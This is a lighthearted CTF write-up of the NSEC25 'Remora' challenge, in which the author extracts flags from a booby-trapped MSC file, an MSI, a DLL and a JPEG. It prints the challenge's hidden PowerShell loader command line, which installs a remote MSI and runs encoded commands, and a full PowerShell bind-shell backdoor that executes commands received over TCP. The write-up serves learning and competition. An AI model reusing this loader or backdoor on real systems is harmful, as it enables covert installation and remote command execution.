Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC25 Remora - Fri, May 23, 2025 - Nic-Lovin

A nice steg track | Steg | Nsec25

Remora

We are given a file CVSS_Bonsecours_Cruise_Invite.msc. I have no idea what an msc file is, but file tells me it’s XML, so let’s open it with vim. I thought to myself this had to be a stenography challenge.

Part 1

The msc file is full of XML and there are big blobs encoded in base64. There’s also one line in PowerShell, which had no flag, so I simply ignored it.

For the reader, here’s the command:

<CommandLine Directory="" WindowState="Minimized" Params="-w hidden ($x=new-object xml);($x.LoAd((Convert-Path 'CVSS_Bonsecours_Cruise_Invite.msc')));($b = $x.MMC_ConsoleFile.BinaryStorage)($u=[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($b.chIldNODes[8].InnerText.Trim())));($c='rElLAtsnI.rELLaTSnISwodniw' -split '');([array]::reverse($c));($c=$c -join '');($c=new-object -comobject $c);($c.uilevel = 2);($c.installproduct($u,'REMOVE=ALL'));($c.installproduct($u));&'$Env:AppData\RS A\RMR\Remora.exe';powershell.exe -encodedcommand $b.ChIlDNoDEs[9].InnerText.Trim();" />

At the end of the file, there’s two blobs that look promising:

    <Binary>
aHR0cHM6Ly9kbC5uc2VjL1JNUi5tc2k=
    </Binary>
    <Binary>
cG93ZXJzaGVsbCBpd3IgLVVyaSBGTEFHLWEwZDBhNTJjNTkyYTk1M2EwOGMzMzg1NWE5NzQwMWJiY2Q2NzcwZmYuY3RmIC1NZXRob2QgUE9TVCAtQm9keSBAe3Bpbmc9IjEzMzcifQ==
	</Binary>

They respectively decode to https://dl.nsec/RMR.msi and powershell iwr -Uri FLAG-a0d0a52c592a953a08c33855a97401bbcd6770ff.ctf -Method POST -Body @{ping="1337"}.

Yeah, we got our first flag! (and 2 points.)

Part 2

I’m a good steganographer, so I ran strings RMR.msi | grep -i "flag-" and it worked:

IFYButtonText_CancelARPHELPLINKFLAG-655338dcab3f4995160af7432fca82aa42d398e0WindowsTypeNT60DisplayWindows Vis

This was worth 1 point.

Part 3

I still don’t know what a MSI file is, but surely 7z can extract some stuff.

$ 7z x RMR.msi
[...]
$ strings * | grep -i "flag-"
[...]
C:\Users\Sharks\FLAG-ac7c152ce6b22bde294392039701c18bae3c5d8e\Remora.pdb

Yes, I’m good at steg. This one was also 1 point.

Part 4

The MSI contained files, Remora.dll, Remora.exe , server.txt and sharks.jpg. Unfortunately, there was no flag in the image. I guess this might not be a steganography challenge…?

$ file *
Remora.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections
Remora.exe: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
server.txt: ASCII text, with no line terminators
sharks.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "File source: http://commons.wikimedia.org/wiki/File:Lemonshark.jpg", baseline, precision 8, 1024x675, components 3

I heard IDA is a tool for steganography - so I opened Remora.dll first because it was 5kb less than Remora.exe (ain’t got no time to look at too many bytes). At first, I didn’t really know what I was seeing, so I took a step back and ran strings again:

$ strings Remora.dll
[...]
sharks were known to mariners as "sea dogs"

I don’t know why, but I thought this would perhaps help me find a flag somewhere. Fortunately for me, there were only 98 functions in the binary and I quickly found the only one referencing that string, in sub_100012A0. It looked complicated and while I’m no cryptographer, I spotted XORs and for loops. I asked Google about “popular encryption algorithm in ctfs”, thinking it would tell me what encryption algorithms malwares usually use.

In CTF (Capture the Flag) competitions, particularly in reverse engineering and cryptography challenges, common encryption algorithms include base64, various symmetric algorithms like AES, RC4, and DES, as well as asymmetric algorithms like RSA and ECC. Additionally, hash functions like MD5, SHA-1, and SHA-256 are frequently encountered.

I looked at RSA and ECC but they all seemed too complicated. After all, IDA was telling me there were a couple of loops with the number 256, but nothing too fancy. This way, I reduced my number of algorithms from 5 to 3, which is convenient in a CTF. Now that I had a promising string, 3 algorithms, I just needed another thing - either a key or something encrypted. There was a line of code qmemcpy(v13, &unk_100031D4, 46u);. 46 seemed strange, so I checked the length of our previous flags: they were 45-byte long. I extracted the content of unk_100031D4 and got this array: [0x39,0x23,0x3A,0x93,0x5B,0xEF,0x31,0xE5,0x29,0xC3,0xEF,0x20,0x8E,0x26,0xCD,0x7B,0x40,0xF4,0x15,0x02,0x6C,0x86,0x57,0xCF,0x44,0x85,0x39,0xB6,0x8C,0x51,0x46,0x20,0x1B,0x70,0xD9,0x47,0xBE,0x3D,0xB2,0xCC,0x0A,0x36,0x45,0x8D,0x9C].

I’m no programmer, but I know CyberChef. After trying AES (which I didn’t understand because it wanted an IV), I tried RC4 with the key about mariners and the array as the ciphertext. That gave us the flag FLAG-cc453358301541cec6460d4e623e3c9743fdc909, which was worth 4 points.

Part 5

Now that Remora.dll was done (surely there wouldn’t be more than one flag in a binary), I turned my attention to the image. If we go back to part 4, file gave us a URL: File:Lemonshark.jpg - Wikimedia Commons. To my surprise, it was the same shark. I thought, “maybe the flag is hidden somewhere in the image. If I can download and compare with the original image, then maybe…”. So I downloaded the original image that had the same dimensions.

ls -la 1024px-Lemonshark.jpg sharks.jpg                                                                                                                                                                   
-rw-rw-r-- 1 nic-lovin nic-lovin 67197 May 20 19:40 1024px-Lemonshark.jpg
-rw-rw-r-- 1 nic-lovin nic-lovin 65045 May  4 15:50 sharks.jpg

This made me sad because the difference wasn’t 45 bytes, and the original image was bigger. I started wondering what to do and asked myself “What’s a jpg? Should I reverse engineer more?” Quickly, I dismissed the latter option and wanted to learn more about jpg files. After all, it was a steganography challenge, not a reverse one. I downloaded a couple of jpg samples, compared them and found out they all ended with ff d9, and even 88 53 ff d9 for some. But do you know which one didn’t end with those bytes? Yes, that sharks.jpg. I guessed the next step would be to find where those ff d9 bytes were and dump everything that came after. My Python skills were finally helpful.

img = open("sharks.jpg", "rb").read()
magic = [0xff, 0xd9]

for i in range(0, len(img)):
  if img[i] == magic[0]:
    if img[i + 1] == magic[1]:
      print(img[i:])

Armed with this blob and previous knowledge about encryption, it was time to get our next flag. I started with xor’ing the blob using the previous flag as the key and was amazed.

Here’s the full Python script:

img = open("sharks.jpg", "rb").read()
magic = [0xff, 0xd9]

blob = []
for i in range(0, len(img)):
  if img[i] == magic[0]:
    if img[i + 1] == magic[1]:
      blob = img[i+2:]

flag = "FLAG-cc453358301541cec6460d4e623e3c9743fdc909"
decrypted = ""
for i in range(0, len(blob)):
  decrypted += chr(ord(flag[i % len(flag)]) ^ blob[i])
print(decrypted)

The script spitted garbage, but there was some good garbage in there. Notably, the first bytes looked right:

$endp<i<##7&o`r}obmeetwQ&'gn{H4p,_jnP;?4|z([sys'e?ymor/lu1ddueus

That might just be me, but I can recognize $endp and [sys'e?; it looks like [system! I started fuzzing with different flags like FLAG-0000000000000000000000000000000000000000 and FLAG-9999999999999999999999999999999999999999 and each had some interesting results, like eamWri , $writ and even Exit. At this point, one intelligent person would think of something to do, but I didn’t. So I tried bruteforcing the first character after FLAG-.

FLAG-0 yielded

$endpo:8& 4#gcr|jfl60'qUy&sc;}J7%/LVnmol=|s([syst6;|nlw'ou0a`t6

It had $endp and [syst, so it was good enough for me to pass to the second character. FLAG-0c then became good enough too because it had $endpoi and [syste. I think you now see where I’m going, but for incompleteness, I’ll give y’all the first 5 characters.

FLAG-0cf0000000000000000000000000000000000000
$endpoin& 4#gcr|jfl60'qUy&sc;}J7%/LVnmol=|s([system|nlw'ou0a`t6

FLAG-0cfb000000000000000000000000000000000000
$endpoint 4#gcr|jfl60'qUy&sc;}J7%/LVnmol=|s([system.nlw'ou0a`t6

FLAG-0cfb000000000000000000000000000000000000
$endpoint =#gcr|jfl60'qUy&sc;}J7%/LVnmol=|s([system.new'ou0a`t

FLAG-0cfb093000000000000000000000000000000000
$endpoint = gcr|jfl60'qUy&sc;}J7%/LVnmol=|s([system.net'ou0a`t6  

Well, that was 7 characters. I hope you can now see how enthusiastic I was when I could clearly see some PowerShell. After an hour or so, I had the full flag: FLAG-0cfb093965a546ccca60e76fc4ba156e09f05c8c. That gave 6 points. I was proud of myself.

Part 6

The full PowerShell looked like this. So far, I hadn’t read code in the challenge, and I was hoping I could continue this way, especially since I had spotted regexes.

$endpoint = new-object System.Net.IPEndPoint ([system.net.ipaddress]::any, 13373)
$listener = New-Object System.Net.Sockets.TcpListener($endpoint)
$listener.start()

$conn = $listener.AcceptTcpClient()
$stream = $conn.GetStream()

$read = New-Object System.IO.StreamReader($stream)
$write = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true

if ($stream.DataAvailable) {
    $key = $read.ReadLine()
}

if ($key.Length -ne 45) {
    Exit
}

$p1 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($key.Substring(0,5)))
$p2 = $key.Substring(5, 16)
$p2 = [System.Text.Encoding]::UTF8.GetBytes($p2[-1..-($p2.Length)] -join "")
$p2 = [System.Convert]::ToBase64String($p2)
$p4 = [int64]([System.Text.Encoding]::UTF7.GetBytes($key.Substring(29, 8)) -join "")
$p5 = [int]::Parse($key.Substring(37, 8), [System.Globalization.NumberStyles]::HexNumber)
if ($p1 -ne "RkxBRy0=" -or $p2 -ne "YTEwM2Y3ZDg2MDViYzU5Yw==" -or -not
    ($key -match "^.{4}-[a-f0-9]{40}$" -and $key -cmatch "^.{21}\d[0-6a-z][2abcd][^A-Za-z0-24-6]{5}" -and $key -cmatch "^.{21}[57-9][-;a%$][^\D](8)(9)(3)\2[^\1\2\3]") -or
    ($p4 -ne 0x11680e4e4c5f2d) -or ($p5 -ne 2130468858)) {
    Exit
}

while ($true) {
    if ($stream.DataAvailable) {
        $command = $read.ReadLine()`
    }
    if ([String]::IsNullOrEmpty($command)) {
        Exit
    }
    try {
        $commandb64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
        $result = &powershell.exe -encodedcommand "$commandb64" 2>&1 | Out-String
    } catch {
        $result = "Error: $error[0]"
    }
    if ($response) {
        $write.Write($result)
    }
}

My eyes focussed on the word key and saw key.Length -ne 45. Everything before was thus removed from my head. I saw $p[1,2,4,5] and thought the challenge designer couldn’t count to 5, but who am I to judge that. $p1 -ne "RkxBRy0=" was fun because it gave me the first 5 characters (FLAG-). The $p2 seemed straightforward enough: it reversed a string and encoded it to base64 (at least that’s what I guessed from ToBase64String).

The $p3 was easy enough because it didn’t exist. $p4 was doing a conversion to UTF-7, from what UTF7.GetBytes($key was telling me. $p5 was funky because it mentionned Globalization.NumberStyle and I had no idea what this was. Google told me it was just converting a number to hex.

I started writing a script and had a couple of thoughts in mind:

– $p1 is base64 encoding is good

– $p2 is Base64 decoding then reversing

– $p3 is free

– $p4, I can figure out the UTF-7 thing

– $p5 is just running hex(2130468858) in Python

– I keep the regexes for the end

p4

Okay, I lied, I can’t figure out the UTF-7. But the good thing is, 0x11680e4e4c5f2d converted to int equals 4899485256539949, which is 16-character long. [int64]([System.Text.Encoding]::UTF7.GetBytes("01") -join "") converts to 4849. I guess you know where we are going. (I don’t.) I again bruteforced one bit at a time and ended up with 0c0485c1.

Regexes

So, before we dive into this part, we can assemble the other parts together:

$p1 = "FLAG-"
$p2 = "c95cb5068d7f301a"
$p4 = "0c0485c1"
$p5 = "7efc5ffa"

If we concatenate them all, we get a 37-character long string. Remember our 45-long character flags? We be missing 8 characters. I guess those regexes will help us find the missing bytes.

There are 3 regexes to understand:

($key -match "^.{4}-[a-f0-9]{40}$" -and
$key -cmatch "^.{21}\d[0-6a-z][2abcd][^A-Za-z0-24-6]{5}" -and
$key -cmatch "^.{21}[57-9][-;a%$][^\D](8)(9)(3)\2[^\1\2\3]")

I’m no wizard, but I thought the first regex was to match FLAG-. It felt good; 1/3 done in seconds. Now, we had a tough choice to make. Either we bruteforce those 8 characters (or 4 bytes), or we try to understand those regexes… or better, we ask ChatGPT. Unfortunately, ChatGPT was disappointing and could only give us 4 characters, and this was our flag so far FLAG-c95cb5068d7f301a---8939-0c0485c17efc5ffa. The next part was of course to bruteforce the remaining 4 characters.

Here’s the final C# script:

using System;
using System.Text.RegularExpressions;

class MainClass  {
  public static void Main (string[] args) {
    Regex rg1 = new Regex("^.{21}\\d[0-6a-z][2abcd][^A-Za-z0-24-6]{5}");
    Regex rg2 = new Regex("^.{21}[57-9][-;a%$][^\\D](8)(9)(3)\\2[^\\1\\2\\3]");
    string flag_p1 = "FLAG-c95cb5068d7f301a";
    string flag_p2 = "8939";
    string flag_p3 = "0c0485c17efc5ffa";
    for (int i = 0; i < 0xfff; i++) {
      for (int j = 0; j < 0xf; j++) {
        string x = flag_p1 + i.ToString("x3") + flag_p2 + j.ToString("x1") + flag_p3;

        if (rg1.IsMatch(x)) {
          if (rg2.IsMatch(x)) {
            Console.WriteLine(x);
          }
        }
      }
    }
  }
}

This gave us many flags, but eventually one was the chosen one. This was worth 5 points.

The end

I liked this steg challenge. It was different from what I had seen so far. I still wonder what the exe and txt files were there for, but like they say, a flag is a flag.

For a real write up about this reverse engineering and malware analysis challenge, look at this write up.

Thanks to @barberousse for this great challenges - Windows challenges are always appreciated!

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2025-05-24 | theme hugo.386